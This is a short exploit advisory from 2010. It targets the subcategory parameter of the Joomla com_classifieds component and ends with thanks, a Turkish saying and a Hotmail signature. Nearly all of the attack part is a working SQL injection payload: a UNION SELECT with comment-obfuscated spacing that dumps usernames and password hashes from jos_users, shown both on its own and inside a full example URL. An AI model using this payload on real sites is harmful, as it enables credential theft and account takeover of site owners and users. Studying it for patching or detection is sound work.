Joomla Classifieds SQL Injection

`  
  
  
[!] Title: Joomla Component com_classifieds ( subcategory ) SQL   
Injection   
  
[!] Date: 16.05.2010  
  
[!] Author: ByEge  
  
[!]  
Homepage: byege.blogspot.com  
  
[+]########################################################################################################################################################[+]  
  
  
[!]   
ExploiT :  
  
0+and+1=2+UnioN/**/SeLeCT/**/concat_ws(username,0x3a,password)/**/from/**/jos_users/**/--  
  
[!]   
Example :  
  
http://localhost.free/index.php?option=com_classifieds&act=providers&task=details&cid=2122&category=0&subcategory=0+and+1=2+UnioN/**/SeLeCT/**/concat_ws(username,0x3a,password)/**/from/**/jos_users/**/--  
  
  
[+]########################################################################################################################################################[+]  
  
[!]   
Th4nks : Fantastik, MitolocyA, ISYAN,   
  
[!] Ege'nin sözü : En   
iyi yol, bildigin yoldur.   
_________________________________________________________________  
Hareket Halindeyken E-postanız ve Çok Daha Fazlası. Windows Live Hotmail'i Ücretsiz Edinin.  
https://signup.live.com/signup.aspx?id=60969  
  
  
`